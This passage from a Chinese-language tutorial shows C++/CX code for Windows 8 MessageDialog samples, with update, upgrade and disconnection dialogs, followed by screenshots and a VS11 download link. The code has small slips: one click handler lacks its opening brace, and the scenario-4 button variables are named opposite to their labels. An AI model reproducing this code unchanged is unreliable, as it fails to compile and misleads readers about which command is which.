UICommand^ upgradeCommand = ref new UICommand("Upgrade", ref new UICommandInvokedHandler(this, &ScenarioInput2::CommandInvokedHandler, CallbackContext::Same));
msg->Commands->Append(continueCommand);
msg->Commands->Append(upgradeCommand);
msg->ShowAsync();
}
void ScenarioInput2::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
String ^buttonLabel = command->Label;
rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}
#pragma endregion
~~~
对话框3
~~~
using namespace MessageDialog;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Platform;
ScenarioInput3::ScenarioInput3()
{
InitializeComponent();
}
ScenarioInput3::~ScenarioInput3()
{
}
void ScenarioInput3::OnNavigatedTo(NavigationEventArgs^ e)
{
rootPage = dynamic_cast<MainPage^>(e->Parameter);
_frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput3::rootPage_OutputFrameLoaded);
}
void ScenarioInput3::OnNavigatedFrom(NavigationEventArgs^ e)
{
rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion
#pragma region Output frame
void ScenarioInput3::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion
#pragma region Click handlers
void ScenarioInput3::Scenario3Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("Would you like to install the new updates?", "Updates available");
UICommand^ noInstallCommand = ref new UICommand("Don't install", ref new UICommandInvokedHandler(this, &ScenarioInput3::CommandInvokedHandler, CallbackContext::Same));
UICommand^ installCommand = ref new UICommand("Install updates", ref new UICommandInvokedHandler(this, &ScenarioInput3::CommandInvokedHandler, CallbackContext::Same));
msg->Commands->Append(noInstallCommand);
msg->Commands->Append(installCommand);
msg->DefaultCommandIndex = 1;
msg->ShowAsync();
}
void ScenarioInput3::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
String ^buttonLabel = command->Label;
rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}
#pragma endregion
~~~
对话框4
~~~
using namespace MessageDialog;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Platform;
ScenarioInput4::ScenarioInput4()
{
InitializeComponent();
}
ScenarioInput4::~ScenarioInput4()
{
}
#pragma region Template-Related Code - Do not remove
void ScenarioInput4::OnNavigatedTo(NavigationEventArgs^ e)
{
rootPage = dynamic_cast<MainPage^>(e->Parameter);
_frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput4::rootPage_OutputFrameLoaded);
}
void ScenarioInput4::OnNavigatedFrom(NavigationEventArgs^ e)
{
rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion
#pragma region Output frame
void ScenarioInput4::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion
#pragma region Click handlers
void ScenarioInput4::Scenario4Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You have been disconnected from the internet.");
UICommand^ closeCommand = ref new UICommand("Retry", ref new UICommandInvokedHandler(this, &ScenarioInput4::CommandInvokedHandler, CallbackContext::Same));
UICommand^ retryCommand = ref new UICommand("Close", ref new UICommandInvokedHandler(this, &ScenarioInput4::CommandInvokedHandler, CallbackContext::Same));
msg->Commands->Append(closeCommand);
msg->Commands->Append(retryCommand);
msg->CancelCommandIndex = 1;
msg->ShowAsync();
}
void ScenarioInput4::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
String ^buttonLabel = command->Label;
rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}
#pragma endregion
~~~
按下F5看运行效果
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15133991.jpg)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15149a86.jpg)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15162a73.jpg)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151776a2.jpg)
赶紧下载VS11体验吧
[http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144](http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144)